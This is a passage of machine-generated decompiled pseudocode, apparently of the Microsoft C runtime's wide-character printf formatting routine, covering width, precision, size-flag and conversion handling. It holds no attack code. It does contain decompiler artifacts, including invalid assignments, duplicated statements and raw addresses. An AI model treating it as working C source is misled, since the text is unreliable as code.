																__eflags =  *(__ebp - 0x4e4) - 0x10;
																if( *(__ebp - 0x4e4) > 0x10) {
																	goto L27;
																}
																L21:
																_t57 =  *(__ebp - 0x4e4) + 0x43c96c; // 0x498d04
																__ecx =  *_t57 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043C954))) {
																	case 0:
																		goto L24;
																	case 1:
																		goto L25;
																	case 2:
																		goto L23;
																	case 3:
																		goto L22;
																	case 4:
																		goto L26;
																	case 5:
																		goto L27;
																}
															case 3:
																L28:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__edx =  *(__ebp - 0x18);
																	__edx =  *(__ebp - 0x18) * 0xa;
																	__eflags = __edx;
																	_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__ecx = __edx + _t81;
																	 *(__ebp - 0x18) = __ecx;
																} else {
																	__edx = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		__ecx =  *(__ebp - 0x18);
																		__ecx =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) = __ecx;
																	}
																}
																L33:
																goto L214;
															case 4:
																L34:
																 *(__ebp - 0x30) = 0;
																goto L214;
															case 5:
																L35:
																__edx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__ecx =  *(__ebp - 0x30);
																	__ecx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __ecx;
																	_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__eax = __ecx + _t92;
																	 *(__ebp - 0x30) = __ecx + _t92;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L214;
															case 6:
																L41:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e8) = __ecx;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																__eflags =  *(__ebp - 0x4e8) - 0x2e;
																if( *(__ebp - 0x4e8) > 0x2e) {
																	L64:
																	goto L214;
																}
																L42:
																_t100 =  *(__ebp - 0x4e8) + 0x43c994; // 0xc1a19003
																__ecx =  *_t100 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043C980))) {
																	case 0:
																		L47:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																			L50:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																				L53:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																				if(( *__ecx & 0x0000ffff) == 0x64) {
																					L59:
																					L61:
																					goto L64;
																				}
																				L54:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x69;
																				if(__ecx == 0x69) {
																					goto L59;
																				}
																				L55:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																					goto L59;
																				}
																				L56:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																				if(( *__ecx & 0x0000ffff) == 0x75) {
																					goto L59;
																				}
																				L57:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x78;
																				if(__ecx == 0x78) {
																					goto L59;
																				}
																				L58:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																					 *(__ebp - 0x45c) = 0;
																					goto L18;
																				}
																				goto L59;
																			}
																			L51:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x32;
																			if(__ecx != 0x32) {
																				goto L53;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				goto L61;
																			}
																		}
																		L48:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x34;
																		if(__ecx != 0x34) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			goto L61;
																		}
																	case 1:
																		L62:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) = __ecx;
																		goto L64;
																	case 2:
																		L43:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L64;
																	case 3:
																		L63:
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																		goto L64;
																	case 4:
																		goto L64;
																}
															case 7:
																L65:
																__eax =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																__ecx =  *(__ebp - 0x4ec);
																__ecx =  *(__ebp - 0x4ec) - 0x41;
																 *(__ebp - 0x4ec) = __ecx;
																__eflags =  *(__ebp - 0x4ec) - 0x37;
																if( *(__ebp - 0x4ec) > 0x37) {
																	while(1) {
																		L187:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																}
																L66:
																_t141 =  *(__ebp - 0x4ec) + 0x43ca00; // 0xcccccc0d
																__eax =  *_t141 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043C9C4))) {
																	case 0:
																		L120:
																		 *(__ebp - 0x2c) = 1;
																		 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		 *(__ebp - 0x454) = __ax;
																		goto L121;
																	case 1:
																		L67:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		goto L69;
																	case 2:
																		L82:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L84;
																	case 3:
																		L144:
																		 *(__ebp - 0x460) = 7;
																		L145:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx = 0x30;
																			 *(__ebp - 0x14) = __dx;
																			 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																			__eflags =  *(__ebp - 0x460) + 0x51;
																			 *(__ebp - 0x12) = __ax;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L150;
																	case 4:
																		L75:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x474) = E00428310(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x474);
																		if( *(__ebp - 0x474) == 0) {
																			L77:
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																			L81:
																			goto L187;
																		}
																		L76:
																		__ecx =  *(__ebp - 0x474);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L81;
																		}
																		goto L77;
																	case 5:
																		L121:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L123:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L128:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					__ecx =  *(__ebp - 0x30);
																					__ecx =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B870( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__edx =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__edx =  *(__ebp + 0x14);
																				__eax =  *(__edx - 8);
																				__ecx =  *(__edx - 4);
																				 *(__ebp - 0x490) =  *(__edx - 8);
																				 *(__ebp - 0x48c) =  *(__edx - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041AE00(__ebp - 0x40));
																				__edx =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__eax =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__ecx =  *(__ebp - 0x454);
																				_push( *(__ebp - 0x454));
																				__edx =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx = __ebp - 0x490;
																				_push(__ebp - 0x490);
																				__edx =  *0x440374; // 0xf9b80f80
																				E00424670(__edx) =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE00(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xfe6faf80
																						E00424670(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE00(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x44037c; // 0xfe6d6f80
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *(__ebp - 4);
																				__edx =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__ecx =  *(__ebp - 4);
																					__ecx =  *(__ebp - 4) + 1;
																					__eflags = __ecx;
																					 *(__ebp - 4) = __ecx;
																				}
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																				do {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				} while ( *(__ebp - 0x4ec) > 0x37);
																				goto L66;
																			}
																			L124:
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																				goto L126;
																			}
																			L125:
																			 *(__ebp - 0x30) = 1;
																			goto L128;
																		}
																		L122:
																		 *(__ebp - 0x30) = 6;
																		goto L128;
																	case 6:
																		L69:
																		 *(__ebp - 0xc) = 1;
																		__ebp + 0x14 = E00428310(__ebp + 0x14);
																		 *(__ebp - 0x458) = __ax;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__cx =  *(__ebp - 0x458);
																			 *(__ebp - 0x448) = __cx;
																		} else {
																			 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																			 *(__ebp - 0x470) = __dl;
																			 *((char*)(__ebp - 0x46f)) = 0;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AE00(__ebp - 0x40);
																			__ecx = __ebp - 0x40;
																			E0041AE00(__ebp - 0x40) =  *__eax;
																			__ecx =  *(__ebp - 0x448 + 0xac);
																			__edx = __ebp - 0x470;
																			__eax = __ebp - 0x448;
																			__eax = E0043B540(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																			__eflags = __eax;
																			if(__eax < 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x24) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	case 7:
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L150:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428310(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428310(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428310(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428330(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00428330(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																	case 8:
																		L106:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x484) = E00428310(__ebp + 0x14);
																		__eax = E00433EC0();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L116:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__ecx =  *(__ebp - 0x484);
																				__edx =  *(__ebp - 0x44c);
																				 *__ecx =  *(__ebp - 0x44c);
																			} else {
																				__edx =  *(__ebp - 0x484);
																				__ax =  *(__ebp - 0x44c);
																				 *( *(__ebp - 0x484)) = __ax;
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																		L107:
																		__ecx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x4f4) = 0;
																		} else {
																			 *(__ebp - 0x4f4) = 1;
																		}
																		__edx =  *(__ebp - 0x4f4);
																		 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E330();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) != 0) {
																			L115:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		} else {
																			L114:
																			 *((intOrPtr*)(L00422E20(__ecx))) = 0x16;
																			__eax = E00422BB0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x4cc) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041ADD0(__ecx);
																			__eax =  *(__ebp - 0x4cc);
																			goto L225;
																		}
																	case 9:
																		L148:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428310(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428310(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428310(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428330(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428330(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xa:
																		L143:
																		 *(__ebp - 0x30) = 8;
																		goto L144;
																	case 0xb:
																		L84:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x4f0) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x4f0);
																		 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00428310(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			L98:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__ecx =  *0x440f84; // 0x404468
																				 *(__ebp - 4) = __ecx;
																			}
																			 *(__ebp - 0xc) = 1;
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x480) =  *(__ebp - 4);
																			while(1) {
																				L101:
																				__eax =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c) - 1;
																				 *(__ebp - 0x47c) = __ecx;
																				__eflags =  *(__ebp - 0x47c);
																				if( *(__ebp - 0x47c) == 0) {
																					break;
																				}
																				L102:
																				__edx =  *(__ebp - 0x480);
																				__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L103:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			}
																			L104:
																			__edx =  *(__ebp - 0x480);
																			__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																			goto L105;
																		} else {
																			L88:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __eax;
																			}
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x478) = __ecx;
																			 *(__ebp - 0x24) = 0;
																			while(1) {
																				L92:
																				__eax =  *(__ebp - 0x24);
																				__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																				if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																					break;
																				}
																				L93:
																				__ecx =  *(__ebp - 0x478);
																				__edx =  *__ecx;
																				__eflags =  *__ecx;
																				if( *__ecx == 0) {
																					break;
																				}
																				L94:
																				__ecx = __ebp - 0x40;
																				E0041AE00(__ebp - 0x40) =  *(__ebp - 0x478);
																				__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																				__eax = E004311D0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																				__eflags = __eax;
																				if(__eax != 0) {
																					__edx =  *(__ebp - 0x478);
																					__edx =  *(__ebp - 0x478) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x478) = __edx;
																				}
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				__edx =  *(__ebp - 0x24);
																				__edx =  *(__ebp - 0x24) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																			}
																			L97:
																			L105:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																	case 0xc:
																		L142:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
